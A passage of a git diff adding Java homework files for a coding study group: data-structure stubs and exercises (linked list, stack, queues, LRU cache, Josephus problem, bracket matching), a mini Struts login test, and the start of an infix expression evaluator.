@@ -0,0 +1,43 @@
+package com.coderising.litestruts;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coderising/litestruts/View.java b/group04/1020483199/HomeworkSuppned/src/com/coderising/litestruts/View.java
new file mode 100644
index 0000000000..07df2a5dab
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coderising/litestruts/View.java
@@ -0,0 +1,23 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/BinaryTreeNode.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/BinaryTreeNode.java
new file mode 100644
index 0000000000..d7ac820192
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/BinaryTreeNode.java
@@ -0,0 +1,32 @@
+package com.coding.basic;
+
+public class BinaryTreeNode {
+	
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+	
+	public Object getData() {
+		return data;
+	}
+	public void setData(Object data) {
+		this.data = data;
+	}
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode insert(Object o){
+		return  null;
+	}
+	
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/Iterator.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/Iterator.java
new file mode 100644
index 0000000000..06ef6311b2
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/Iterator.java
@@ -0,0 +1,7 @@
+package com.coding.basic;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/List.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/List.java
new file mode 100644
index 0000000000..10d13b5832
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/List.java
@@ -0,0 +1,9 @@
+package com.coding.basic;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/array/ArrayList.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/array/ArrayList.java
new file mode 100644
index 0000000000..4576c016af
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/array/ArrayList.java
@@ -0,0 +1,35 @@
+package com.coding.basic.array;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class ArrayList implements List {
+	
+	private int size = 0;
+	
+	private Object[] elementData = new Object[100];
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index, Object o){
+		
+	}
+	
+	public Object get(int index){
+		return null;
+	}
+	
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public Iterator iterator(){
+		return null;
+	}
+	
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/array/ArrayUtil.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/array/ArrayUtil.java
new file mode 100644
index 0000000000..45740e6d57
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/array/ArrayUtil.java
@@ -0,0 +1,96 @@
+package com.coding.basic.array;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin){
+		
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	
+	public int[] removeZero(int[] oldArray){
+		return null;
+	}
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	
+	public int[] merge(int[] array1, int[] array2){
+		return  null;
+	}
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int [] oldArray,  int size){
+		return null;
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max){
+		return null;
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max){
+		return null;
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max){
+		return null;
+	}
+	
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator){
+		return null;
+	}
+	
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/linklist/LRUPageFrame.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..24b9d8b155
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/linklist/LRUPageFrame.java
@@ -0,0 +1,164 @@
+package com.coding.basic.linklist;
+
+
+public class LRUPageFrame {
+	
+	private static class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node() {
+		}
+	}
+
+	private int capacity;
+	
+	private int currentSize;
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	
+	public LRUPageFrame(int capacity) {
+		this.currentSize = 0;
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 */
+	public void access(int pageNum) {
+		
+		Node node = find(pageNum);
+		//在该队列中存在， 则提到队列头
+		if (node != null) {
+			
+			moveExistingNodeToHead(node);		
+			
+		} else{
+			
+			node = new Node();
+			node.pageNum = pageNum;
+			
+			// 缓存容器是否已经超过大小.
+			if (currentSize >= capacity) {			
+				removeLast();
+							
+			} 
+			
+			addNewNodetoHead(node);
+			
+			
+			
+						
+		}
+	}
+	
+	private void addNewNodetoHead(Node node) {
+		
+		if(isEmpty()){
+			
+			node.prev = null;
+			node.next = null;
+			first = node;
+			last = node;
+			
+		} else{
+			node.prev = null;
+			node.next = first;
+			first.prev = node;
+			first = node;
+		}
+		this.currentSize ++;
+	}
+
+	private Node find(int data){
+		
+		Node node = first;
+		while(node != null){
+			if(node.pageNum == data){
+				return node;
+			}
+			node = node.next;
+		}
+		return null;
+		
+	}
+
+	
+
+	
+	
+
+	/**
+	 * 删除链表尾部节点 表示 删除最少使用的缓存对象
+	 */
+	private void removeLast() {
+		Node prev = last.prev;
+		prev.next = null;
+		last.prev = null;
+		last = prev;
+		this.currentSize --;
+	}
+
+	/**
+	 * 移动到链表头，表示这个节点是最新使用过的
+	 * 
+	 * @param node
+	 */
+	private void moveExistingNodeToHead(Node node) {
+		
+		if (node == first) {
+			
+			return;
+		}
+		else if(node == last){
+			//当前节点是链表尾， 需要放到链表头
+			Node prevNode = node.prev;
+			prevNode.next = null;	
+			last.prev = null;
+			last  = prevNode;				
+			
+		} else{
+			//node 在链表的中间， 把node 的前后节点连接起来
+			Node prevNode = node.prev;
+			prevNode.next = node.next;
+			
+			Node nextNode = node.next;
+			nextNode.prev = prevNode;
+			
+			
+		}
+		
+		node.prev = null;
+		node.next = first;
+		first.prev = node;
+		first = node;	
+		
+	}
+	private boolean isEmpty(){		
+		return (first == null) && (last == null);
+	}
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/linklist/LRUPageFrameTest.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..7fd72fc2b4
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/linklist/LRUPageFrameTest.java
@@ -0,0 +1,34 @@
+package com.coding.basic.linklist;
+
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+		frame.access(5);
+		Assert.assertEquals("5,4,0", frame.toString());
+		
+	}
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/linklist/LinkedList.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/linklist/LinkedList.java
new file mode 100644
index 0000000000..f4c7556a2e
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/linklist/LinkedList.java
@@ -0,0 +1,125 @@
+package com.coding.basic.linklist;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class LinkedList implements List {
+	
+	private Node head;
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index , Object o){
+		
+	}
+	public Object get(int index){
+		return null;
+	}
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public void addFirst(Object o){
+		
+	}
+	public void addLast(Object o){
+		
+	}
+	public Object removeFirst(){
+		return null;
+	}
+	public Object removeLast(){
+		return null;
+	}
+	public Iterator iterator(){
+		return null;
+	}
+	
+	
+	private static  class Node{
+		Object data;
+		Node next;
+		
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		return null;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null;
+	}
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/CircleQueue.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/CircleQueue.java
new file mode 100644
index 0000000000..8bd2577c53
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/CircleQueue.java
@@ -0,0 +1,46 @@
+package com.coding.basic.queue;
+
+public class CircleQueue <E> {
+
+	//用数组来保存循环队列的元素
+	private Object[] elementData ;
+	int size = 0;
+	//队头
+	private int front = 0;  
+	//队尾  
+	private int rear = 0;
+	
+	public CircleQueue(int capacity){
+		elementData = new Object[capacity];
+	}
+	public boolean isEmpty() {
+		return front == rear;
+        
+    }
+	
+	public boolean isFull(){
+		return  size == elementData.length;
+	}
+    public int size() {
+        return size;
+    }
+
+    public void enQueue(E data) {
+        if(isFull()){
+        	throw new RuntimeException("The queue is full");
+        }
+        elementData[rear++] = data;
+        size++;
+    }
+
+    public E deQueue() {
+        if(isEmpty()){
+        	throw new RuntimeException("The queue is empty");
+        }
+        E data = (E)elementData[front];
+        elementData[front] = null;
+        front = (front+1) % elementData.length;
+        size --;
+        return data;
+    }
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/CircleQueueTest.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/CircleQueueTest.java
new file mode 100644
index 0000000000..7307eb77d4
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/CircleQueueTest.java
@@ -0,0 +1,44 @@
+package com.coding.basic.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class CircleQueueTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		CircleQueue<String> queue = new CircleQueue<String>(5);		
+		Assert.assertTrue(queue.isEmpty());
+		Assert.assertFalse(queue.isFull());
+		
+		queue.enQueue("a");
+		queue.enQueue("b");
+		queue.enQueue("c");
+		queue.enQueue("d");
+		queue.enQueue("e");
+		
+		Assert.assertTrue(queue.isFull());
+		Assert.assertFalse(queue.isEmpty());
+		Assert.assertEquals(5, queue.size());
+		
+		Assert.assertEquals("a", queue.deQueue());
+		Assert.assertEquals("b", queue.deQueue());
+		Assert.assertEquals("c", queue.deQueue());
+		Assert.assertEquals("d", queue.deQueue());
+		Assert.assertEquals("e", queue.deQueue());
+		
+	}
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/Josephus.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/Josephus.java
new file mode 100644
index 0000000000..36ec615d36
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/Josephus.java
@@ -0,0 +1,39 @@
+package com.coding.basic.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * @author liuxin
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){
+		
+		Queue<Integer> queue = new Queue<Integer>();
+        for (int i = 0; i < n; i++){
+        	queue.enQueue(i);
+        }
+        
+        List<Integer> result = new ArrayList<Integer>();
+        int i = 0;
+
+        while (!queue.isEmpty()) {
+
+            int x = queue.deQueue();            
+
+            if (++i % m == 0){
+            	result.add(x);
+            } else{
+            	queue.enQueue(x);
+            }
+        }
+
+        
+        return result;
+	}
+	
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/JosephusTest.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/JosephusTest.java
new file mode 100644
index 0000000000..7d90318b51
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/JosephusTest.java
@@ -0,0 +1,27 @@
+package com.coding.basic.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/Queue.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/Queue.java
new file mode 100644
index 0000000000..c4c4b7325e
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/Queue.java
@@ -0,0 +1,61 @@
+package com.coding.basic.queue;
+
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;    
+    private Node<E> last;     
+    private int size;               
+
+    
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+    
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+    
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+        	first = last;
+        }
+        else{
+        	oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+        	last = null;  
+        }
+        return item;
+    }
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/QueueWithTwoStacks.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..bc97df0800
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/queue/QueueWithTwoStacks.java
@@ -0,0 +1,55 @@
+package com.coding.basic.queue;
+
+import java.util.NoSuchElementException;
+import java.util.Stack;
+
+public class QueueWithTwoStacks<E> {
+	private Stack<E> stack1;    
+    private Stack<E> stack2;    
+
+    
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+   
+    private void moveStack1ToStack2() {
+        while (!stack1.isEmpty()){
+        	stack2.push(stack1.pop());
+        }
+            
+    }
+
+
+    public boolean isEmpty() {
+        return stack1.isEmpty() && stack2.isEmpty();
+    }
+
+
+    
+    public int size() {
+        return stack1.size() + stack2.size();     
+    }
+
+
+
+    public void enQueue(E item) {
+        stack1.push(item);
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue is empty");
+        }
+        if (stack2.isEmpty()) {
+        	moveStack1ToStack2();
+        }
+        
+        return stack2.pop();
+    }
+
+
+
+ }
+
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/Stack.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/Stack.java
new file mode 100644
index 0000000000..fedb243604
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/Stack.java
@@ -0,0 +1,24 @@
+package com.coding.basic.stack;
+
+import com.coding.basic.array.ArrayList;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){		
+	}
+	
+	public Object pop(){
+		return null;
+	}
+	
+	public Object peek(){
+		return null;
+	}
+	public boolean isEmpty(){
+		return false;
+	}
+	public int size(){
+		return -1;
+	}
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/StackUtil.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/StackUtil.java
new file mode 100644
index 0000000000..7c86d22fe7
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/StackUtil.java
@@ -0,0 +1,168 @@
+package com.coding.basic.stack;
+import java.util.Stack;
+public class StackUtil {
+	
+	public static void bad_reverse(Stack<Integer> s) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		Stack<Integer> tmpStack = new Stack();
+		while(!s.isEmpty()){
+			tmpStack.push(s.pop());
+		}
+		
+		s = tmpStack;
+		
+	}
+	
+	
+	
+	public static void reverse_247565311(Stack<Integer> s){
+        if(s == null || s.isEmpty()) {
+        	return;
+        }
+        
+        int size = s.size();
+        Stack<Integer> tmpStack = new Stack<Integer>();        
+        
+        for(int i=0;i<size;i++){
+            Integer top = s.pop();
+            while(s.size()>i){
+                tmpStack.push(s.pop());
+            }
+            s.push(top);
+            while(tmpStack.size()>0){
+                s.push(tmpStack.pop());
+            }
+        }
+    }
+
+
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack<Integer> s) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		
+		Stack<Integer> tmp = new Stack<Integer>();
+		while(!s.isEmpty()){
+			tmp.push(s.pop());
+		}
+		while(!tmp.isEmpty()){
+			Integer top = tmp.pop();
+			addToBottom(s,top);
+		}	
+		
+		
+	}
+	public static void addToBottom(Stack<Integer> s,  Integer value){
+		if(s.isEmpty()){
+			s.push(value);
+		} else{
+			Integer top = s.pop();
+			addToBottom(s,value);
+			s.push(top);
+		}
+		
+	}
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		Stack tmpStack = new Stack();
+		
+		while(!s.isEmpty()){
+			Object value = s.pop();
+			if(!value.equals(o)){
+				tmpStack.push(value);
+			} 			
+		}
+		
+		while(!tmpStack.isEmpty()){
+			s.push(tmpStack.pop());
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		
+		if(s == null || s.isEmpty() || s.size()<len || len <=0 ){
+			return null;
+		}
+		
+		Stack tmpStack = new Stack();
+		int i = 0;
+		Object[] result = new Object[len];
+		while(!s.isEmpty()){
+			Object value = s.pop();			
+			tmpStack.push(value);
+			result[i++] = value;
+			if(i == len){
+				break;
+			}
+		}
+		while(!tmpStack.isEmpty()){
+			s.push(tmpStack.pop());
+		}
+		return result;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		
+		Stack<Character> stack = new Stack();
+		for(int i=0;i<s.length();i++){
+			char c = s.charAt(i);
+			
+			if(c == '(' || c =='[' || c == '{'){
+				
+				stack.push(c);
+				
+			} else if( c == ')'){
+				
+				char topChar = stack.pop();
+				if(topChar != '('){
+					return false;
+				}
+				
+			} else if( c == ']'){
+				
+				char topChar = stack.pop();
+				if(topChar != '['){
+					return false;
+				}
+					
+			} else if( c == '}'){
+				
+				char topChar = stack.pop();
+				if(topChar != '{'){
+					return false;
+				}
+				
+			}
+		}
+		return stack.size() == 0;
+	}
+	
+	
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/StackUtilTest.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/StackUtilTest.java
new file mode 100644
index 0000000000..ae0210ff47
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/StackUtilTest.java
@@ -0,0 +1,86 @@
+package com.coding.basic.stack;
+
+import java.util.Stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+public class StackUtilTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testAddToBottom() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		
+		StackUtil.addToBottom(s, 0);
+		
+		Assert.assertEquals("[0, 1, 2, 3]", s.toString());
+		
+	}
+	@Test
+	public void testReverse() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
+		StackUtil.reverse(s);
+		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
+	}
+	@Test
+	public void testReverse_247565311() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		
+		Assert.assertEquals("[1, 2, 3]", s.toString());
+		StackUtil.reverse_247565311(s);
+		Assert.assertEquals("[3, 2, 1]", s.toString());
+	}
+	@Test
+	public void testRemove() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		StackUtil.remove(s, 2);
+		Assert.assertEquals("[1, 3]", s.toString());
+	}
+
+	@Test
+	public void testGetTop() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		{
+			Object[] values = StackUtil.getTop(s, 3);
+			Assert.assertEquals(5, values[0]);
+			Assert.assertEquals(4, values[1]);
+			Assert.assertEquals(3, values[2]);
+		}
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+	}
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/Tail.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/Tail.java
new file mode 100644
index 0000000000..7f30ce55c8
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/Tail.java
@@ -0,0 +1,5 @@
+package com.coding.basic.stack;
+
+public class Tail {
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixExpr.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..cebef21fa3
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,72 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+
+public class InfixExpr {
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+		
+		
+		Stack<Token> opStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+		
+		for(Token token : tokens){
+			
+			if (token.isOperator()){
+				
+				while(!opStack.isEmpty() 
